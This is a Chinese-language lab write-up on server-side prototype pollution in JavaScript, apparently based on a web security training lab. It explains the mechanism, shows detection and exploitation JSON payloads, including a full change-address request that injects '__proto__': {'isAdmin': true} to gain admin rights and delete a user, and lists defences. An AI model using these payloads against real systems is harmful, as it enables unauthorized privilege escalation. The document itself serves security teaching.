通过服务器端原型污染提升权限-污染属性反射
字数 1279 2025-08-10 13:48:22
服务器端原型污染权限提升漏洞分析与利用
1. 漏洞概述
服务器端原型污染(Server-Side Prototype Pollution)是一种JavaScript特有的安全漏洞,当应用程序不安全地将用户可控输入合并到服务器端JavaScript对象中时,攻击者可以通过污染全局Object.prototype来影响应用程序行为,可能导致权限提升等严重后果。
2. 漏洞原理
2.1 JavaScript原型继承机制
JavaScript使用原型继承模型,每个对象都有一个原型对象,当访问对象属性时,如果对象本身没有该属性,JavaScript会沿着原型链向上查找。
2.2 原型污染的产生
当应用程序将用户输入不经过滤地合并到现有对象中时,如果攻击者通过特殊属性名(如__proto__)注入恶意属性,这些属性会被添加到Object.prototype中,从而影响所有继承自Object的对象。
3. 漏洞检测方法
3.1 识别潜在攻击点
- 应用程序使用POST或PUT方法接收JSON数据
- 服务器响应中包含提交的属性
- 存在用户可控输入被合并到服务器端对象的场景
3.2 测试方法
- 构造包含
__proto__属性的JSON请求:
{
"address_line_1": "Wiener HQ",
"__proto__": {
"foo": "bar"
}
}
- 检查响应中是否包含注入的属性,如果包含则存在漏洞
4. 漏洞利用步骤
4.1 信息收集
- 登录应用程序(使用提供的凭证wiener:peter)
- 分析功能点,特别是接收JSON输入并返回完整对象的端点
- 识别响应中的敏感字段(如isAdmin)
4.2 漏洞验证
发送测试请求验证原型污染:
{
"address_line_1": "Wiener HQ",
"__proto__": {
"testProperty": "testValue"
}
}
观察响应是否包含testProperty字段
4.3 权限提升
- 识别可用于权限提升的属性(如isAdmin)
- 构造恶意请求污染原型:
{
"address_line_1": "Wiener HQ",
"__proto__": {
"isAdmin": true
}
}
- 检查响应中isAdmin值是否变为true
- 访问管理员功能(如Admin panel)
- 执行特权操作(如删除用户)
5. 防御措施
5.1 输入验证
- 对用户输入进行严格验证
- 过滤特殊属性名(如
__proto__、constructor、prototype)
5.2 安全合并对象
- 使用Object.create(null)创建无原型的对象
- 使用Map代替普通对象存储键值对
- 使用安全的对象合并函数,避免递归合并
5.3 其他措施
- 冻结Object.prototype:
Object.freeze(Object.prototype) - 使用Schema验证输入数据结构
- 实施最小权限原则,避免过度授权
6. 实际案例分析
6.1 案例重现
- 登录购物网站(wiener:peter)
- 访问地址修改功能
- 发现响应中包含isAdmin字段
- 通过原型污染将isAdmin设为true
- 获得管理员权限并删除目标用户
6.2 关键请求示例
恶意请求:
POST /my-account/change-address HTTP/1.1
Content-Type: application/json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
"__proto__": {
"isAdmin": true
}
}
成功响应:
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": true
}
7. 总结
服务器端原型污染是一种危险的漏洞,可以导致权限提升、数据泄露等严重后果。开发人员应了解JavaScript原型继承机制的风险,实施适当的防御措施。安全测试人员应掌握检测和利用此类漏洞的方法,以帮助提高应用程序安全性。